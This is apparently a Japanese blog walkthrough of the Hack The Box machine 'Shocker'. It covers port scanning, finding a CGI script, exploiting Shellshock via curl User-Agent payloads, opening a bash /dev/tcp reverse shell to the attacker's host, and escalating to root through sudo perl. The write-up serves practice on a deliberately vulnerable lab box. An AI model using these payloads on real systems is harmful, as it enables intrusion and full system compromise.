Hack The Box ウォークスルー：Shocker

今日のターゲットは、Shockerです！ショッカー！
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664788/8b993a80-6fea-2cec-e90e-4dedc59d3257.png)
- OS: Linux
- Difficulty: Easy

仮面ライダーシリーズに登場するあの雑魚キャラですね（違いますｗ）
ショッカーをしらない世代の方も多いと思いますが、いつもの通り、ポートスキャンから実施していきましょう！

# # PortScan
今日はちょっとめんどうだったので、ざくっと -A（アグレッシブスキャン）を実施します。
アグレッシブスキャンは強力ですね。

何も考えずに、-A を付けるだけで、通常のデフォルトスキャンの他に、バージョンスキャン（-sV）やOSスキャン（-O）、スクリプトスキャン（-C）などを実施してくれます。
ポートスキャンの実行結果は、以下感じです。

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -n 10.10.10.56 -A
Starting Nmap 7.91 ( [https://nmap.org](https://nmap.org/) ) 
Nmap scan report for 10.10.10.56
Host is up (0.27s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
No exact OS matches for host (If you know what OS is running on it, see [https://nmap.org/submit/](https://nmap.org/submit/) ).
TCP/IP fingerprint:
OS:SCAN(V=7.91%E=4%D=5/17%OT=80%CT=1%CU=37559%PV=Y%DS=2%DC=T%G=Y%TM=60A2687
　：
(snip)
　：
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8888/tcp)
HOP RTT       ADDRESS
1   270.39 ms 10.10.14.1
2   270.68 ms 10.10.10.56
OS and Service detection performed. Please report any incorrect results at [https://nmap.org/submit/](https://nmap.org/submit/) .
Nmap done: 1 IP address (1 host up) scanned in 36.40 seconds
┌──(kali㉿kali)-[~]
└─$
```

オープンポートは、80/tcp（HTTP）と 2222/tcp（SSH）の２つのようです。

- 80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
- 2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

バージョン情報が取得できているので、これらソフトウェアのバージョンに脆弱性が存在していないか、ざっと確認しておきましょう。

# # 脆弱性有無の調査

まず、Apache httpd 2.4.18 の脆弱性情報がないかGoogleで調べてみたところCVE-2019-0211 がでてきましたが、このCVEは特権昇格に関するローカルの脆弱性のようです。

- Apache HTTP Server における認可・権限・アクセス制御に関する脆弱性
[https://jvndb.jvn.jp/ja/contents/2019/JVNDB-2019-003357.html](https://jvndb.jvn.jp/ja/contents/2019/JVNDB-2019-003357.html)

- Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privilege Escalation
[https://www.exploit-db.com/exploits/46676](https://www.exploit-db.com/exploits/46676)

- CVE-2019-0211 Apache Root Privilege Escalation
[https://github.com/cfreal/exploits/blob/master/CVE-2019-0211-apache/README.md](https://github.com/cfreal/exploits/blob/master/CVE-2019-0211-apache/README.md)

サーバにログイン後に、上記のExploitは利用できるかもしれません。

|Memo |
|:----|
| Shockerは2017/10/02に公開されたBOXなので、公開当時はこの脆弱性（CVE 2019-0211）を利用した攻略は想定されていないと思われるので、ここでは利用しません。|

次に、OpenSSH 7.2p2 の脆弱性有無を調べてみると、ユーザ名の列挙としてCVE-2016-6210 がありましたが、何かできそうな感じはしませんでした。

- OpenSSH 7.2p2 - Username Enumeration
　[https://www.exploit-db.com/exploits/40136](https://www.exploit-db.com/exploits/40136)


今回確認できたソフトウェアバージョンでは、リモートエクスプロイトに繋がりそうな脆弱性（CVE）は確認できなかったので、Webサイト（80/tcp）を調査していきましょう。

# # Webサイトの調査
WebブラウザでWebサイトにアクセスすると、まっくろくろすけのような画像と Don't Bug Me！ というメッセージが表示されます。何かを伝えるメッセージのようですが、よくわかりません。
意味を調べてみると「困らせないでくれ」「邪魔しないでくれ」「悩ませないでくれ」みたいな意味のようです。このサイトに、なにやらバグは存在していそうな雰囲気です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664788/7f3397ac-79b4-9f5e-4963-d3fb90cbbf6f.png)
ソースコードからも、特にこのページからはこれ以上の情報はなさそうです。
このサイトのディレクトリ探索・ファイル探索に進みましょう。

# # 情報列挙（Enumeration）
ディレクトリ探索は、dirb を使います。皆さんは、使い慣れた dirbuster でも gobuster でもその他のコマンド・ツール、どれでもOKです。（検索ワードの違いや拡張子の指定、表示結果の違いなどはありますが、基本的な使い方はどれもだいたい同じですね。）

では、dirb を実行してみましょう。

```
┌──(kali㉿kali)-[~]
└─$ dirb http://10.10.10.56/                                                                                                      

START_TIME: Mon May 17 08:51:26 
URL_BASE: http://10.10.10.56/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.56/ ----
+ http://10.10.10.56/cgi-bin/ (CODE:403|SIZE:294)                                                                                    
+ http://10.10.10.56/index.html (CODE:200|SIZE:137)                                                                                  
+ http://10.10.10.56/server-status (CODE:403|SIZE:299)                                                                               
                                                                                                                                     
-----------------
END_TIME: Mon May 17 09:12:26 
DOWNLOADED: 4612 - FOUND: 3
                                                                                                                                      
┌──(kali㉿kali)-[~]
└─$
```

実行結果に、index.html の他、 /cgi-bin/ と /server-status が確認できます。
/cgi-bin/ にアクセスしてみると、応答コード 403 の通り Forbidden が返ってきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664788/bf34f76b-da9a-7ddf-f3ca-cda831ea38d3.png)
---　Thinking Time：ここから ---

うーん、なんだかなーと思いつつも、なんだか違和感を感じます。いまどき cgi-binディレクトリなんて置くかな？cgiスクリプトなんて使うかな？と。ちょっと不自然な感じが残ります。

と、考えること ・・・ 30秒 ・・・ (・∀・) ファ！

あああー、あー、あーーーー
あれ、もしかして、cgi と shocker って。

（この時点で、私は何かに気付いてしまいました。）

よし、アレだ。アレに違いない。

---　Thinking Time：ここまで　---

はい、というわけで！
cgi-binディレクトリがあるということは、その配下に何かしらの cgiスクリプトがあるのではないかな、と。

先ほどのディレクトリ探索は、特にオプション指定なく、デフォルトで実行しましたが、ファイル探索を中心に実行する場合は、-X オプションで探索したい拡張子を指定して実行します。

では、cgiスクリプトで利用されそうな拡張子を指定して、実行してみましょう。

```
┌──(kali㉿kali)-[~]
└─$ dirb http://10.10.10.56/cgi-bin/ -X .sh,.pl,.txt,.php,.py                                    

START_TIME:  
URL_BASE: http://10.10.10.56/cgi-bin/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
EXTENSIONS_LIST: (.sh,.pl,.txt,.php,.py) | (.sh)(.pl)(.txt)(.php)(.py) [NUM = 5]

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.56/cgi-bin/ ----
--> Testing: http://10.10.10.56/cgi-bin/docroot.txt
	
　　　　　:

--> Testing: http://10.10.10.56/cgi-bin/user.sh
```

ほーほーほー、

指定した拡張子がちょっと多かったので、かなり時間がかかってしましましたが、でてきました！
user.sh なるファイルが！（おー、これは気付いてしまったあの脆弱性に間違いなでしょう。）

さっそく、このファイルにアクセスして、中身を確認してみます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664788/8fb3f0d5-9104-06b2-13b6-d493a423027a.png)
user.sh のファイル内容（実行内容）から、Linuxサーバの uptimeコマンドを実行して出力していると推測されます。cgi-bin 配下にある user.sh からshellにコマンドを渡して実行している？

となれば、そうです、あの脆弱性です！

せーの！！

ShellShock ！！！

（あれ、若干声が小さかったようなｗ）

2014年、世間（特にLinux界隈）を震撼させた世にも有名なシェルショック！です。
（あのオイルショックみたいなやつです。はい、ウソです。）

- ShellShock

[https://ja.wikipedia.org/wiki/2014年シェルショック脆弱性](https://ja.wikipedia.org/wiki/2014%E5%B9%B4%E3%82%B7%E3%82%A7%E3%83%AB%E3%82%B7%E3%83%A7%E3%83%83%E3%82%AF%E8%84%86%E5%BC%B1%E6%80%A7)
[https://www.digicert.com/jp/blog/shellshock-cve-2014-6271/](https://www.digicert.com/jp/blog/shellshock-cve-2014-6271/)

では、shellshock の脆弱性がほんとに内在しているか確認してみましょう。

ユーザーエージェントなどに引数を渡す形で確認することも可能ですが、まずは簡単な確認方法として、Nmap NSEとして用意されているスクリプトを活用して、さくっと確認してみましょう。

- NSE ： http-shellshock の使い方

```
# Example Usage
nmap -sV -p- --script http-shellshock <target>
nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls <target>
```

実行してみた結果は、以下感じです。

```
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack
| http-shellshock:
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known as Shellshock. It seems the server
|       is executing commands injected via malicious HTTP headers.
|
|     Disclosure date: 2014-09-24
|     References:
|       http://www.openwall.com/lists/oss-security/2014/09/24/10
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|       http://seclists.org/oss-sec/2014/q3/685
|_      http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
```

おー、ばっちり出力されていますね。

>   HTTP Shellshock vulnerability
>     State: VULNERABLE (Exploitable)
>     IDs:  CVE:CVE-2014-6271

### ・NSE http-shellshock
[https://nmap.org/nsedoc/scripts/http-shellshock.html](https://nmap.org/nsedoc/scripts/http-shellshock.html)

### ・Shellshock
[https://blog.trendmicro.co.jp/archives/9957](https://blog.trendmicro.co.jp/archives/9957)
[https://fsck.jp/?p=226](https://fsck.jp/?p=226)

# # 脆弱性の悪用（Exploit）

では、ShellShockの脆弱性を悪用して、遠隔から任意コマンド実行をしてみます。

以下では、curl コマンドの -A オプション（ユーザーエージェントの指定）として、コマンド実行が可能な文字列を指定しています。指定しているコマンドは /usr/bin/id です。

```
┌──(kali㉿kali)-[~]
└─$ curl -A "() { :;};echo ;/usr/bin/id"  [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
┌──(kali㉿kali)-[~]
└─$
```

おー、見事に成功しました！

idコマンドが実行されて、コマンドの出力結果が表示されています。
ちなみに、Webアプリケーションの実行ユーザは shelly というユーザのようです。

上記のコマンド実行同様に、任意のコマンドを指定することで、Webアプリケーションを実行している shelly ユーザによるコマンドの実行が可能です。以下のように /bin/cat /etc/passwd として、パスワードファイルを表示することも可能です。

```
└─$ curl -A "() { :;};echo Content-type:text/plain;echo;/bin/cat /etc/passwd"  [http://10.10.10.56/cgi-bin/user.sh](http://10.10.10.56/cgi-bin/user.sh)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
　：
(snip)
　：
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
shelly:x:1000:1000:shelly,,,:/home/shelly:/bin/bash
┌──(kali㉿kali)-[~]
└─$
```

遠隔からサーバ上の任意のコマンド実行が可能、ということは、外部からサーバへ侵入できることを意味します。コマンド実行を利用して、外部から対象サーバへ接続してみましょう。

まず、自身の端末上で 待ち受けポートを起動させておきます。
以下では、ncコマンドを利用して、4444ポートで待ち受けポートを起動しています。

```
┌──(kali㉿kali)-[~]
└─$ nc -lvp 4444                                                                                                   
listening on [any] 4444 ...
```

自身の端末で待ち受けポートを起動できたら、先ほどのShellShockの脆弱性を利用して、外部の宛先（自身の端末宛）に対してへ「リバースシェル」を張る通信を発生させます。

```
┌──(kali㉿kali)-[~]
└─$ curl -A "() { :;};echo ;/bin/bash -l > /dev/tcp/10.10.14.10/4444 0<&1 2>&1"  http://10.10.10.56/cgi-bin/user.sh
```

リバースシェルは、対象サーバ上で利用できるコマンドやスクリプトなどで、実行方法が変わります。※以下チートシートや参考サイトなどを活用しましょう。

- Reverse Shell Cheat Sheet

[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md#bash-tcp](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#bash-tcp)

- Reverse Shell Generator

[https://www.revshells.com/](https://www.revshells.com/)

脆弱性を悪用したコマンド実行が成功すると、最初に起動した自端末上の待ち受けポートに、以下のように接続が確認できると思います。

```
┌──(kali㉿kali)-[~]
└─$ nc -lvp 4444                                                                                                   
listening on [any] 4444 ...
10.10.10.56: inverse host lookup failed: Unknown host
connect to [10.10.14.10] from (UNKNOWN) [10.10.10.56] 36630
id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

```

通常のLinuxのようにプロンプトは表示されていませんが、画面上で id コマンドを実行すると、そのコマンドがサーバ上で実行され、その実行結果が自端末の画面に表示されます。これは、リバースシェルと呼ばれる手法です。

|**リバースシェル（Reverse Shell）**|
|:-|
|入力した文字列がncコマンドで接続された通信を介して、サーバ上で実行したbashに渡されて実行され、その結果がエコーのようになって、自端末に表示されています。送信したコマンドの実行結果が戻ってくる形で、コマンド（シェル）が実行できるので、リバースシェルと呼ばれます。|



サーバへ接続して、自由にコマンドを打てる状態になりましたが、いつものLinuxのようにプロンプトがない状態なので、対話的なコマンドが実行することができません。そのため、以下コマンドを実行して、TTYシェルを立ち上げましょう。

```
bash -i
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$
```

プロンプトがでましたね。これで対話的なコマンドも実行できるようになります。
サーバ環境によって利用できる言語やコマンドは変わるので、以下URLを参考に、TTYシェルを立ち上げる方法はいくつか確認しておくと良いでしょう。

- Spawning a TTY Shell

[https://netsec.ws/?p=337](https://netsec.ws/?p=337)

はい、では、接続が張れた現在のユーザ shelly のホームディレクトリに移動して、ユーザフラグを取得しておきましょう。

```
shelly@Shocker:/home/shelly$ cd /home/shelly
cd /home/shelly
shelly@Shocker:/home/shelly$ ls
ls
user.txt
shelly@Shocker:/home/shelly$ cat user.txt
```

# # 特権昇格（Privilege Escalation）

root 権限が取得できるか調査していきます。
調査の観点はいくつかありますが、私は、sudoを実行可能なユーザを確認することが多いです。
今回もまずは、以下コマンドでsudoを実行可能なユーザを確認してみます。

```
shelly@Shocker:/home/shelly$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl
shelly@Shocker:/home/shelly$
```

sudo の -l （小文字のエル）は、sudoの実行が許可されたユーザーを一覧表示するオプションです。上記の実行結果から、root権限が必要な /usr/bin/perl はパスワードなし（NOPASSWD）で実行可能になっています。明らかに怪しいですね。

GTFOBins という以下サイトで、perl で権限昇格できないか確認してみます。

| **GTFOBins**　[https://gtfobins.github.io/](https://gtfobins.github.io/)  |
|:--------------------------------------------------------------------------------|
|GTFOBins は、誤って設定されたローカルシステムのセキュリティを迂回するために使用できる Unix バイナリ（コマンドなど）のリストをまとめたサイトです。sudoやsuidなどが設定されたコマンドなどを注意深く確認して、セキュリティを抜けてシェルを実行できる手法がないか調査するときに、本サイトを活用しましょう。  ​|

GTFOBinsでperl を検索すると・・・

お、ありました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1664788/71e6384b-d77d-c4b0-a563-b832a8ee7273.png)
[https://gtfobins.github.io/gtfobins/perl/](https://gtfobins.github.io/gtfobins/perl/)

上記の通り、perl の -e オプションを利用することで、シェルを起動することが可能なようです。
以下のように、sudoから perl コマンド実行を以下のように実行してみましょう。

```
shelly@Shocker:/home/shelly$ sudo /usr/bin/perl -e 'exec "/bin/sh";'
sudo /usr/bin/perl -e 'exec "/bin/sh";'

id
uid=0(root) gid=0(root) groups=0(root)
bash -i
bash: no job control in this shell
root@Shocker:/home/shelly# 
```

おお。やりました！！！

```
root@Shocker:/home/shelly# cd /root
cd /root
root@Shocker:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@Shocker:~# 
```

I got rooted!!!
ではまたー。